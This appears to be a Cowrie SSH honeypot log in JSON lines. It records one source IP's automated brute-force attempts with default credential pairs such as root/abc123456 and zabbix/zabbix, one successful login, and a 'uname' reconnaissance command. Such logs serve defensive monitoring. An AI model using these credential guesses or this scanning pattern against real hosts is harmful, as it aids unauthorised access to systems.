{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:27.273672Z","src_ip":"192.109.200.78","session":"b55ada57150f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"monitor","password":"monitor","message":"login attempt [monitor/monitor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:27.531527Z","src_ip":"192.109.200.78","session":"b55ada57150f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:28.615788Z","src_ip":"192.109.200.78","session":"b55ada57150f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53022,"dst_ip":"10.17.0.5","dst_port":22,"session":"606cd50538e7","protocol":"ssh","message":"New connection: 192.109.200.78:53022 (10.17.0.5:22) [session: 606cd50538e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:30.774761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:30.778960Z","src_ip":"192.109.200.78","session":"606cd50538e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:30.859546Z","src_ip":"192.109.200.78","session":"606cd50538e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:31.102179Z","src_ip":"192.109.200.78","session":"606cd50538e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:32.185274Z","src_ip":"192.109.200.78","session":"606cd50538e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40084,"dst_ip":"10.17.0.5","dst_port":22,"session":"8883f9692608","protocol":"ssh","message":"New connection: 192.109.200.78:40084 (10.17.0.5:22) [session: 8883f9692608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:34.353698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:34.357098Z","src_ip":"192.109.200.78","session":"8883f9692608","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:34.438030Z","src_ip":"192.109.200.78","session":"8883f9692608","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"12345678","message":"login attempt [admin1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:34.682606Z","src_ip":"192.109.200.78","session":"8883f9692608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:35.765789Z","src_ip":"192.109.200.78","session":"8883f9692608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40094,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7d0df897471","protocol":"ssh","message":"New connection: 192.109.200.78:40094 (10.17.0.5:22) [session: c7d0df897471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:37.861744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:37.958090Z","src_ip":"192.109.200.78","session":"c7d0df897471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:37.961191Z","src_ip":"192.109.200.78","session":"c7d0df897471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bernard","password":"bernard","message":"login attempt [bernard/bernard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:38.285780Z","src_ip":"192.109.200.78","session":"c7d0df897471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:39.369360Z","src_ip":"192.109.200.78","session":"c7d0df897471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40100,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ea475e2d265","protocol":"ssh","message":"New connection: 192.109.200.78:40100 (10.17.0.5:22) [session: 7ea475e2d265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:41.426333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:41.430587Z","src_ip":"192.109.200.78","session":"7ea475e2d265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:41.653811Z","src_ip":"192.109.200.78","session":"7ea475e2d265","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:41.995874Z","src_ip":"192.109.200.78","session":"7ea475e2d265","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:43.132236Z","src_ip":"192.109.200.78","session":"7ea475e2d265","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41074,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f5cd6c56976","protocol":"ssh","message":"New connection: 192.109.200.78:41074 (10.17.0.5:22) [session: 7f5cd6c56976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:45.079311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:45.217631Z","src_ip":"192.109.200.78","session":"7f5cd6c56976","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:45.222453Z","src_ip":"192.109.200.78","session":"7f5cd6c56976","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:45.552375Z","src_ip":"192.109.200.78","session":"7f5cd6c56976","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:46.760650Z","src_ip":"192.109.200.78","session":"7f5cd6c56976","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41086,"dst_ip":"10.17.0.5","dst_port":22,"session":"09d39d3d823f","protocol":"ssh","message":"New connection: 192.109.200.78:41086 (10.17.0.5:22) [session: 09d39d3d823f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:48.690924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:48.757514Z","src_ip":"192.109.200.78","session":"09d39d3d823f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:48.797689Z","src_ip":"192.109.200.78","session":"09d39d3d823f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:49.092041Z","src_ip":"192.109.200.78","session":"09d39d3d823f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:49.289505Z","src_ip":"192.109.200.78","session":"09d39d3d823f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:49.291590Z","src_ip":"192.109.200.78","session":"09d39d3d823f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:49.373896Z","src_ip":"192.109.200.78","session":"09d39d3d823f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:49.377162Z","src_ip":"192.109.200.78","session":"09d39d3d823f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53096,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c38cf7e2ec5","protocol":"ssh","message":"New connection: 192.109.200.78:53096 (10.17.0.5:22) [session: 0c38cf7e2ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:52.174974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:52.179008Z","src_ip":"192.109.200.78","session":"0c38cf7e2ec5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:52.261912Z","src_ip":"192.109.200.78","session":"0c38cf7e2ec5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:52.504754Z","src_ip":"192.109.200.78","session":"0c38cf7e2ec5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:53.589106Z","src_ip":"192.109.200.78","session":"0c38cf7e2ec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53108,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6c597148f50","protocol":"ssh","message":"New connection: 192.109.200.78:53108 (10.17.0.5:22) [session: f6c597148f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:55.785126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:53:55.792418Z","src_ip":"192.109.200.78","session":"f6c597148f50","protocol":"ssh"}
